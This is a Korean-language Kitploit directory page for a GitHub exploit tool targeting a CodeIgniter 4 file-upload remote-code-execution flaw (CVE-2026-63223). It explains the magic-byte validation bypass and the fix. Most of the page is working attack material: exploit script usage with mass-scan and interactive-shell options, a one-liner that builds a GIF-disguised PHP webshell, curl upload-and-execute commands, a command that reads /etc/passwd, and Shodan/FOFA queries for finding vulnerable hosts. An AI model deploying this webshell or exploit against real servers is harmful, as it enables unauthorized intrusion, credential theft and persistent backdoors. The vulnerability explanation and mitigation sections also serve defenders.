Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in 파일 업로드 RCE. 매직 바이트 우회(getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-63223
Web Vulnerability ScannersPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in 파일 업로드 RCE. 매직 바이트 우회(getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

저장소 보기
161개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-63223 — CodeIgniter 4 파일 업로드 RCE

매직 바이트 우회 → is_image/mime_in → PHP 웹셸 → RCE


개요

CVE-2026-63223은 PHP 풀스택 웹 프레임워크인 CodeIgniter 4에서 발생하는 CVSS 9.8의 치명적(Critical) 심각도를 지닌 인증되지 않은 원격 코드 실행 취약점으로, 4.7.4 이전 버전에 영향을 미칩니다.

이 취약점은 클라이언트가 제공한 파일명 확장자를 검증하지 않고 콘텐츠에서 파생된 MIME 유형(매직 바이트)만 검사하는 is_image 및 mime_in 파일 업로드 검증 규칙을 악용합니다. 공격자는 PHP 코드 앞에 이미지 매직 바이트(GIF89a, JPEG, PNG 헤더)를 덧붙이고 파일명을 로 지정하여 검증을 통과시킵니다. 파일이 웹에서 접근 가능한 PHP 실행 디렉터리에 저장되면 RCE를 달성합니다.

shell.php

CVSS: 9.8 치명적(Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 발견일: 2026년 7월 31일 | 보안 권고: GHSA-mmj4-63m4-r6h5 수정 버전: CodeIgniter 4 v4.7.4

영향을 받는 버전

버전상태
< 4.7.4취약
4.7.4+패치됨

CWE: CWE-434 — 위험한 유형의 파일 무제한 업로드 참조 PoC: imbas007/CVE-2026-63223-POC


취약점 메커니즘

근본 원인

CodeIgniter 4의 is_image 검증 규칙은 매직 바이트에서 파생된 확장자(예: gif)를 반환하는 getExtension()을 Mimes::guessTypeFromExtension()에 매핑하여 파일이 이미지인지 확인합니다. 클라이언트가 제공한 파일명 확장자(getClientExtension(), 예: php)는 절대 검사되지 않습니다:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

작동 원리

  1. getExtension() ≠ getClientExtension() — 전자는 매직 바이트(gif)에서 파생되고, 후자는 클라이언트 파일명(php)에서 파생됩니다
  2. 검증은 파일명이 아닌 바이트를 신뢰합니다 — Mimes::guessTypeFromExtension("gif")가 image/gif를 반환하므로 is_image 검증을 통과합니다
  3. 클라이언트 파일명으로 저장됩니다 — $file->move($path, $file->getClientName())는 .php 확장자를 유지합니다
  4. v4.7.4 이전에는 교차 검증이 없습니다 — 클라이언트 확장자가 감지된 유형과 일치하는지 검증하지 않습니다
  5. 웹에서 접근 가능한 업로드 — 기본/공용 업로드 디렉터리가 PHP 파일을 직접 제공합니다

공격 흐름

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

수정 사항 (v4.7.4)

패치는 hasInvalidImageClientExtension()을 추가하여 이제 클라이언트 확장자도 검사합니다:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

핵심 변경점: 이제 is_image는 getExtension()(콘텐츠 기반, 실제 이미지 확인용) 그리고 getClientExtension()(클라이언트 제공, .php와 같은 비이미지 확장자를 거부하기 위함)을 모두 검증합니다.


설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

사용 방법

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

인자

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

개념 증명

단일 대상

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

수동 공격 (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

영향

성공적인 악용 시 웹 서버 사용자 권한으로 원격 코드 실행이 가능해집니다:

  • 임의의 시스템 명령어 실행
  • .env 파일에서 데이터베이스 자격 증명 탈취
  • 지속성 있는 백도어 배포
  • 내부 네트워크로 피벗
  • 애플리케이션 변조 또는 손상

계정이나 인증이 필요하지 않습니다 — ext_in 없이 is_image/mime_in을 사용하는 업로드 엔드포인트는 기본적으로 취약합니다.


수정 사항 (v4.7.4)

  1. CodeIgniter 4 v4.7.4 이상으로 업그레이드하세요
  2. 임시 완화 조치: is_image/mime_in과 함께 ext_in 검증 규칙을 사용하세요
  3. 업로드 파일을 웹 루트 외부에 저장하고 readfile() 프록시를 통해 제공하세요
  4. getRandomName()으로 서버가 제어하는 파일명을 생성하세요

면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오.

명시적 허가 없이 시스템을 대상으로 사용하지 마십시오. 저자는 오용으로 인한 책임을 지지 않습니다.


참고 자료

리소스링크
GitHub 보안 권고GHSA-mmj4-63m4-r6h5
참조 PoCimbas007/CVE-2026-63223-POC
NVD 항목CVE-2026-63223
CodeIgniter v4.7.4변경 로그
CWE-434무제한 업로드

CodeIgniter 재단과 관련이 없습니다.

도구 다운로드